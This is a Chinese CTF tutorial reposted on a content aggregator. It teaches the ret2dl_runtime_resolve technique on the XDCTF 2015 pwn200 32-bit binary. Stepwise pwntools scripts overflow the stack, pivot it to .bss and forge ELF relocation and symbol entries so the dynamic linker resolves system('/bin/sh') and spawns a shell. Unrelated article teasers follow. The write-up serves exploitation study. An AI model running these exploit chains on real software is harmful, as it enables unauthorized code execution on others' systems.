栈溢出0x0D ret2_dl_runtime_resolve

news2024/10/16 16:52:58

 实际上,dl_runtime_resolve 是通过最后的 字符串 来确定执行那一个函数的,也就是说,可以通过控制这个地址的内容来执行任意函数,比如:system

而 reloc_arg 是我们可控的,我们需要控制reloc_arg 间接控制 最后的字符串。

为什么要使用ret2dlresolve?因为如果程序中没有类似puts或者printf的输出函数我们没办法泄露libc,那该怎么办?我们急需一种通用技术。现在常见的应用程序基本上都是动态链接的,只要动态链接就会有_dl_runtime_resolve函数。

我们需要依次伪造以下几个东西,首先是rec_index,以便让函数找到的是我们的伪造的.rel.plt表项 :fake_rel。然后这个伪造的fake_rel指向我们伪造的.dynsym表项:fake_sym。之后fake_sym里边的st_name也要修改,以便让.dynstr+fake_sym->st_name指向我们伪造的最终字符串:"system\x00"。如果我们同时伪造这几个项可能会比较难以理解,所以我们逐个伪造,逐个测试。

XDCTF 2015 pwn200 32位程序partial-relro

┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ checksec --file=./main_partial_relro_32 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols        No    0               1               ./main_partial_relro_32

改写.dynamic的DT_STRTAB

这个只有在checksec时No RELRO可行,即.dynamic可写。因为ret2dl-resolve会从.dynamic里面拿.dynstr字符串表的指针,然后加上offset取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当resolve的时候,就能resolve成我们所指定的任意库函数。比方说,原本是一个free函数,我们就把原本是free字符串的那个偏移位置设为system字符串,第一次调用free("bin/sh")(因为只有第一次才会resolve),就等于调用了system("/bin/sh")

本题就不可用了。

收集信息:

                                                图1 dl_runtime_resolve

我们根据图1

.rel.plt

.rel.plt中表项的定义:

typedef struct {
        Elf32_Addr      r_offset;//指向了函数对应GOT表的地址,dl_runtime_resolve函数通过这个参数将真实地址写入GOT
        Elf32_Word      r_info;//右移8位作为.dynsym下标
} Elf32_Rel;

 查看一下.rel.plt里边的项:

┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ readelf -r main_partial_relro_32              

Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff4  00000306 R_386_GLOB_DAT    00000000   __gmon_start__
08049ff8  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
08049ffc  00000806 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a01c  00000607 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

从上可知:以write函数为例其对应.rel.plt表项是:r_offset = 0x804a01c   r_info=0x607。我们将write函数的对应.rel.plt表项记作rel

.got.plt

.got节保存全局变量偏移表,.got.plt节保存全局函数偏移表。.got.plt对应着Elf32_Rel结构中r_offset的值。这个了解就好,我们现在主要关注write的GOT表地址:0x804A01C。额,只是IDA看看记不住也没事,pwntools里有工具获取这个地址。下图就是.got.plt表

                                                                        图2

.dynsym

.dynsym的表项

typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

我们记write函数对应的.dynsym表项为sym。我们刚才知道rel->r_info>>8 即0x607>>8=6,作为.dynsym的下标。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT

我们看一下.dynsym表,发现其下标6位置果然是write函数相关项。

┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ readelf -s main_partial_relro_32     

Symbol table '.dynsym' contains 10 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __[...]@GLIBC_2.0 (2)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
     7: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.0 (2)
     8: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.0 (2)
     9: 0804866c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

我们再用objdump函数查看.dynsym表里具体的内容:

                                                                图3

由于下标从0开始所以下标6的位置是第七条(光标选定的位置),根据Elf32_Sym定义,我们知道sym->st_name = 0x4c,还有个0x12对照realelf给出的信息发现和Type相关。然后我们知道.dynstr+sym->st_name就是write的字符串地址,我们先用objdump查看.dynstr的地址发现是0x804826C,然后在pwndbg里打印.dynstr+0x4C这个地址里的数据,发现就是字符串 “write”。(sym->st_name = 0x4C刚才已经知道了)

                                                                        图4

.plt

过程链接表,用于延迟绑定的一个表。重要的表项是PLT[0]。PLT[0]更像是一个gadget,它将linkmap压栈后,跳转到dl_runtime_resolve处执行。

┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ objdump -s -j .plt ./main_partial_relro_32

./main_partial_relro_32:     file format elf32-i386

Contents of section .plt:
 8048370 ff3504a0 0408ff25 08a00408 00000000  .5.....%........
 8048380 ff250ca0 04086800 000000e9 e0ffffff  .%....h.........
 8048390 ff2510a0 04086808 000000e9 d0ffffff  .%....h.........
 80483a0 ff2514a0 04086810 000000e9 c0ffffff  .%....h.........
 80483b0 ff2518a0 04086818 000000e9 b0ffffff  .%....h.........
 80483c0 ff251ca0 04086820 000000e9 a0ffffff  .%....h ........

发现.plt表的起始位置是0x8048370,用IDA查看具体内容 

                                                                图5

关注两个地方:第一个是PLT[0]处push的ds:dword_804A004就是GOT[1],即link_map。然后是0x80483B6处就是write@plt,它的正确rec_index是0x20。注意: plt0 = 0x8048370。

学到这里我们就省略一些东西了,比如获取溢出所需要的长度:112。类似ppp_ret的gadget(就是连续三个pop后跟着一个ret指令的gadget)地址直接就给出来。

下面是本章的重点——我们将逐步伪造各个表项,测试其功能,最后getshell。

逐步修改:

step1.栈迁移

我们第一步就是想将栈迁移到bss段上,然后执行一次write函数。为什么栈迁移后还要执行一次write函数哪?这是为了调用system函数做准备。

我们先写一个ROP链,直到返回到write@plt。最重要的是栈迁移。

说一下思路:先再溢出第一次返回时调用read函数,将payload2读取到bss段的某个合适位置,然后栈迁移到这个合适位置并且运行payload2,然后打印我们payload2中的 "/bin/sh"字符串。

一些用到的gadgets

┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ ROPgadget --binary main_partial_relro_32 --only "pop|ret"
Gadgets information
============================================================
0x0804864b : pop ebp ; ret
0x08048648 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804864a : pop edi ; pop ebp ; ret
0x08048649 : pop esi ; pop edi ; pop ebp ; ret
0x08048356 : ret
0x08048198 : ret 0x835a
0x0804848e : ret 0xeac1

Unique gadgets found: 8         
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]
└─$ ROPgadget --binary main_partial_relro_32  --only "leave|ret"
Gadgets information
============================================================
0x08048465 : leave ; ret
0x08048356 : ret
0x08048198 : ret 0x835a
0x0804848e : ret 0xeac1

Unique gadgets found: 4
┌──(hath㉿kali)-[~/…/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro]└─$ objdump -s -j .bss ./main_partial_relro_32./main_partial_relro_32:     file format elf32-i386Contents of section .bss: 804a028 00000000                             ....

 我们说将payload2放到合适位置,这个位置不能是bss段的开头,因为payload2中调用函数会需要一定的空间,如果再bss开头就会破坏bss段之前的一些数据,不稳定。所以我们将payload2写入bss_stage = bss+stake_size。

#!/usr/bin/python

from pwn import *
elf = ELF('./main_partial_relro_32')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048649 # ROPgadget --binary bof --only "pop|ret",连续三个pop一个ret
pop_ebp_ret = 0x0804864b
leave_ret = 0x08048465 # ROPgadget --binary bof --only "leave|ret"

stack_size = 0x800
bss_addr = 0x0804a028 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

r = process('./bof')

r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset#调用read函数,此时会将payload2读入到base_stage
payload += p32(read_plt) # 读100个字节到base_stage
payload += p32(ppp_ret)#这个是为了将read函数的三个参数pop掉还能继续执行下面的gadgets。
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)#下边三句是栈迁移的部分,首先将ebp指向base_stage,然后leave 指令将esp也指向了base_stage。注意
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"
#上边payload会将mov esp,ebp后还有个pop ebp,才会ret,所以需要一个占位的old ebp这里是'AAAA'
payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))#因为传给write函数的buf地址是base_stage+80所以需要补全,而补全80个字节后就得是/bin/sh才能正确打印
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))#因为第一个payload要求read 100个字符所以需要将payload2补全到100字节
r.sendline(payload2)
r.interactive()

运行:

                                                                        图6

 关于栈迁移,pwntools有更简单的方法:

from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil(b'Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)#栈迁移命令
r.sendline(rop.chain())

# write "/bin/sh",这个就是我们的payload2了,原理都是一样的。
rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())

r.interactive()

看到了吗?我们自己写的exp,找了那么多的地址,还得精心计算如何平衡栈,但是pwntools给我们封装了read函数,然后ROP.migrate就实现了栈迁移,而且栈迁移之后的old ebp也给你自动补上了,直接继续写就行,可见pwntools确实是pwn的利器,但是我们不能做脚本小子,理解底层原理,自己也必须会手写栈迁移!

step2 通过PLT[0]调用write

这次控制eip返回PLT[0],要带上正确的write的index_offset = 0x20。这里修改一下payload2

from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
#上边是栈迁移的payload,并且读取第二段payload
# write "/bin/sh"
rop = ROP('./main_partial_relro_32')
plt0 = elf.get_section_by_name('.plt').header.sh_addr    #PLT表的开头就是PLT[0]
#从GOT表中读取正确的write函数的rec_index值,下面四句等同于wrote_reloc_offset = 0x20,这个值我们用IDA分析过了
jmprel_data = elf.get_section_by_name('.rel.plt').data()
writegot = elf.got["write"]
write_reloc_offset = jmprel_data.find(p32(writegot,endian="little"))
print(write_reloc_offset)
rop.raw(plt0)
rop.raw(write_reloc_offset)
# write函数的返回值,随便写,输出后就不管了
rop.raw('bbbb')
# write  函数的参数, write(1, base_stage+80, sh)
rop.raw(1)  
rop.raw(base_stage + 80)
sh = "/bin/sh"
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))#补全到80字节和step1中一样,与write的第二个参数对应
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))#和之前一样,第一个payload了读取100字节

r.sendline(rop.chain())
r.interactive()

仍然输出/bin/sh

step3 fake_reloc

这次控制index_offset,使其指向我们构造的fake_reloc

from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
#以上是栈迁移
# write "/bin/sh"
rop = ROP('./main_partial_relro_32')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
got0 = elf.get_section_by_name('.got').header.sh_addr

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
# make base_stage+24 ---> fake reloc
write_reloc_offset = base_stage + 24 - rel_plt#此处提问fake_reloc的地址为什么是base_stage+24,如何将fake_reloc放到base_stage+24?
write_got = elf.got['write']
r_info = 0x607

rop.raw(plt0)
rop.raw(write_reloc_offset)
# fake ret addr of write
rop.raw('bbbb')
# fake write args, write(1, base_stage+80, sh)
rop.raw(1)  
rop.raw(base_stage + 80)
sh = "/bin/sh"
rop.raw(len(sh))#此处回答上面的问题,此时rop里一共有6个4字节的数据,所以4*6=24,而rop的开头位置就是base_stage,所以我们将fake_reloc放到此处就是base_stage+24。#你不放心可以print(len(rop.chain()))打印看看是不是24字节
# construct fake write relocation entry
rop.raw(write_got)
rop.raw(r_info)#以下一样的
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()

运行:

                                                                图7

可以看出print出的rop.chain()就是24字节!并且也打印出了/bin/sh

 step4 fake_sym

这一次构造fake_sym,使其指向我们控制的st_name

...栈迁移的部分不放了

rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)  # since the size of Elf32_Symbol is 0x10,Elf32_Sym结构体必须对齐到0x10!
fake_sym_addr = fake_sym_addr + align#对齐后的fake_sym地址
index_dynsym = (fake_sym_addr - dynsym) / 0x10  #除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引#下边是构造正确的dynsym表项,内容是抄的原本的write的对应表项。fake_write_sym = flat([0x4c, 0, 0, 0x12]) # make fake write relocation at base_stage+24 index_offset = base_stage + 24 - rel_plt write_got = elf.got['write'] r_info = (index_dynsym << 8) | 0x7# calculate the r_info according to the index of write fake_write_reloc = flat([write_got, r_info]) gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2)) # construct rop chain rop.raw(plt0) rop.raw(index_offset)rop.raw('bbbb') # fake ret addr of writerop.raw(1) rop.raw(base_stage + 80) rop.raw(len(sh))rop.raw(fake_write_reloc) # fake write reloc rop.raw('a' * align) # padding for fake_write_symrop.raw(fake_write_sym) # fake write symbol rop.raw('a' * (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' * (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive()

step5 fake_st_name

st_name指向我们自己输入的字符串"write"

from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/2*0x10
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())


rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)  # since the size of Elf32_Symbol is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10  # calculate the dynsym index of write
st_name = fake_sym_addr + 0x10 - dynstr         # 因为st_name需要指向输入的字符串地址,但是看一下payload就发现,输入字符串与fake_sym_addr之间整好间隔了一个Elf32_Sym的大小0x10,所以需要加个0x10,#详情请看下边的示意图
fake_write_sym = flat([st_name, 0, 0, 0x12])

# make fake write relocation at base_stage+24
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write
fake_write_reloc = flat([write_got, r_info])

# construct rop chain
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb') # fake ret addr of write
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc)  # fake write reloc
rop.raw('a' * align)  # padding
rop.raw(fake_write_sym)  # fake write symbol
rop.raw('write\x00')  # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

step6 st_name->system
替换writesystem,并修改system的参数

如果看懂step 5后这一步基本上就没有啥问题了

from pwn import *
elf = ELF('./main_partial_relro_32')
r = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

offset = 112
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

# stack privot to bss segment, set esp = base_stage
stack_size = 0x800 # new stack size is 0x800
base_stage = bss_addr + stack_size + (0x080487C2-0x080487A8)/2*0x10
rop.raw('a' * offset) # padding
rop.read(0, base_stage, 100) # read 100 byte to base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())


rop = ROP('./main_partial_relro_32')
sh = "/bin/sh"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# make a fake write symbol at base_stage + 32 + align
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)  # since the size of Elf32_Symbol is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10  # calculate the dynsym index of write
st_name = fake_sym_addr + 0x10 - dynstr         # plus 10 since the size of Elf32_Sym is 16.
fake_write_sym = flat([st_name, 0, 0, 0x12])

# make fake write relocation at base_stage+24
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 # calculate the r_info according to the index of write
fake_write_reloc = flat([write_got, r_info])

gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
print("ndx_addr: %s" % hex(gnu_version_addr+index_dynsym*2))

# construct ropchain
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb') # fake ret addr of write
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc)  # fake write reloc
rop.raw('a' * align)  # padding
rop.raw(fake_write_sym)  # fake write symbol
rop.raw('system\x00')  # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
r.sendline(rop.chain())
r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2211859.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【096】基于SpringBoot+Vue实现的私人健身与教练预约管理系统

系统介绍 视频演示 基于SpringBootVue实现的私人健身与教练预约管理系统 文档 PPT 源码 数据库脚本 课程设计 基于SpringBootVue实现的私人健身与教练预约管理系统采用前后端分离的架构方式开发&#xff0c;系统整体设计了管理员、教练、用户三种角色&#xff0c;实现了用户查…

根据Vue对比来深入学习React 下 props 组件传值 插槽 样式操作 hooks 高阶组件 性能优化

文章目录 函数组件的特点props组件间的传值父传子看上例子传父兄弟组件传值祖先组件传值 插槽基础插槽具名插槽作用域插槽 样式操作**CSS Modules** 生命周期useRef常用hookuseStateuseEffectuseContextuseReduceruseMemouseCallback 高阶组件什么时候使用 react性能问题和优化…

LeetCode讲解篇之2266. 统计打字方案数

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 我们使用逆向思维发现如果连续按存在三个字母的按键&#xff0c;最后一个按键表示的字母可以是某个字母连续出现一次、两次、三次这三种情况的方案数之和 我们发现连续按存在三个字母的按键&#xff0c;当连续按…

数据治理中的核心 元数据

数据治理中的核心元素——元数据 一、关于元数据 1、什么是元数据 元数据&#xff08;metadata&#xff09;是关于数据的组织、数据域及其关系的信息&#xff0c;简单来说&#xff0c;元数据就是被用来描述数据的数据。 概念阐述总归生涩&#xff0c;下面用几个简单的例子来…

【千图网-登录_注册安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…

【双指针算法】移动零

1.题目解析 2.算法分析 可以归结为数组划分/数组分块&#xff08;采用双指针算法&#xff09;-->利用数组下标充当指针 &#xff08;1&#xff09;首先定义两个指针 dest&#xff1a;已处理的区间内&#xff0c;非零元素的最后一个位置cur&#xff1a;从左往右扫描数组&…

Stm32+Esp8266连接阿里云程序移植教程(MQTT协议)

Stm32Esp8266连接阿里云程序移植教程&#xff08;MQTT协议&#xff09; 一、前期准备二、移植过程三、程序的使用3.1 连接上阿里云3.2 传输用户数据到阿里云3.3 解析从阿里云下发给用户的数据3.4 关于调试接口 一、前期准备 自己要的工程文件移植所需的文件&#xff08;如下图&…

CentOS 7.9安装MySQL

下载Linux版MySQL安装包 下载地址https://downloads.mysql.com/archives/community/ 下载解压后 安装&#xff0c;按照从上至下顺序&#xff0c;一条一条执行即可安装完毕。 进入到rpm所在目录rpm -ivh mysql-community-common-8.0.26-1.el7.x86_64.rpm rpm -ivh mysql-comm…

计算机网络——CDN

空间编码例子&#xff1a;不是发送N个相同颜色值&#xff0c;而是仅发送2个值&#xff0c;颜色和重复个数 时间编码例子&#xff1a;不是发送i1帧的全部编码&#xff0c;而是仅发送帧i差别的地方 视频播放时&#xff0c;先下载manifest file文件——>解析&#xff08;不…

vscode中关闭cmake自动配置

前言 最近误触了一个操作&#xff0c;导致&#xff0c;一旦使用vscode打开项目&#xff0c;就会去配置cmake。或者你一旦更改cmakelists.txt&#xff0c;就会去配置cmake。 这个操作&#xff0c;结果对不对还另说&#xff0c;关键是增加计算机开销&#xff0c;使得vscode打开后…

【华为】配置BGP协议

边界网关协议BGP是一种实现自治系统AS之间的路由可达&#xff0c;并选择最佳路由的距离矢量路由协议。BGP在不同自治系统之间进行路由转发&#xff0c;分为EBGP&#xff08;外部边界网关协议&#xff09;和IBGP&#xff08;内部边界网关协议&#xff09;两种情况。 [A]in g0/0/…

使用docker搭建lnmp运行WordPress

一&#xff0c;部署目的 使用 Docker 技术在单机上部署 LNMP 服务&#xff08;Linux Nginx MySQL PHP&#xff09;。部署并运行 WordPress 网站平台。掌握 Docker 容器间的互联及数据卷共享。 二&#xff0c;部署环境 操作系统&#xff1a;CentOS 7Docker 版本&#xff1…

Spring 的依赖注入的最常见方式

在 Spring 中&#xff0c;依赖注入的方式有多种选择。下面我们来逐一分析它们的特点、适用场景和注意事项&#xff1a; 1. 构造函数注入 构造函数注入要求在对象创建时提供所有依赖。这种方式确保依赖在对象创建后不可变&#xff0c;特别适合必须强制存在的依赖。所有依赖在对…

Windows的Conda环境下使用PlotNeuralNet来绘制神经网络

项目场景&#xff1a; Windows环境下&#xff0c;使用了anaconda的Python环境管理器&#xff0c;使用PlotNeuralNet来绘制神经网络图 问题描述 在运行以下shell命令的时候 cd pyexamples/ bash ../tikzmake.sh test_simple出现了访问被拒绝的错误&#xff0c;如下所示&#x…

【数据结构】:破译排序算法--数字世界的秩序密码(一)

文章目录 一.排序算法概述1.定义和目的2.排序算法的分类2.1比较排序2.2非比较排序 二.插入排序算法1.InsertSort直接插入排序1.1.插入排序原理1.2.插入排序过程1.3.代码实现1.4.复杂度和稳定性 2.ShellSort希尔排序2.1.希尔排序原理2.2.希尔排序过程2.3.代码实现2.4.复杂度和稳…

LeetCode 132. 分割回文串 II(经典必会)

LeetCode 132. 分割回文串 II 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是回文串。 返回符合要求的 最少分割次数 。 示例 1&#xff1a; 输入&#xff1a;s “aab” 输出&#xff1a;1 解释&#xff1a;只需一次分割就可将 s 分割成 [“…

EditPlus安装使用

1.进入EditPlus官网(https://www.editplus.com/)点击第二行蓝字 2.点击More options第一行蓝字 3.点击exe文件进入安装&#xff0c;点击Accept 4.选择下载路径 4.点击editplus.exe 5.在许可证协议中点击yes 6.输入username和regcode即可使用(也可以试用30天)

Leetcode 岛屿数量

首先检查网格是否为空&#xff0c;如果为空&#xff0c;直接返回 0。遍历网格中的每一个元素&#xff0c;当遇到陆地&#xff08;1&#xff09;时&#xff0c;计数器加 1&#xff0c;并且通过 DFS 将与该陆地相连的所有部分标记为已访问&#xff08;即设为 0&#xff09;。DFS …

第 22 章 - 你不能错过的Elasticsearch核心知识点-BM25相关性评分算法(进阶)

文章目录 前言分片对 Elasticsearch 相关性评分的影响BM25 算法和它的变量效果应用将 b b b 值设置为 0将 k 1 k1 k1 设置为0 总结 前言 上一章介绍了 Elasticsearch 的读写优化技巧。本章将深入探讨与 Elasticsearch 相关的 BM25 相关性评分公式。 我们将全面解析 BM25 如…

【Java】C++转Java基础知识

1. Java基础知识 1.1 JDK和JVM 在Java中&#xff0c;JDK称为Java开发工具包(Java Development Kit)&#xff0c;包含了Java开发需要使用的工具包&#xff0c;前面的版本中JRE和JDK是分开的两个文件夹&#xff0c;从Java9开始&#xff0c;JDK中还包含了JRE(Java Runtime Envir…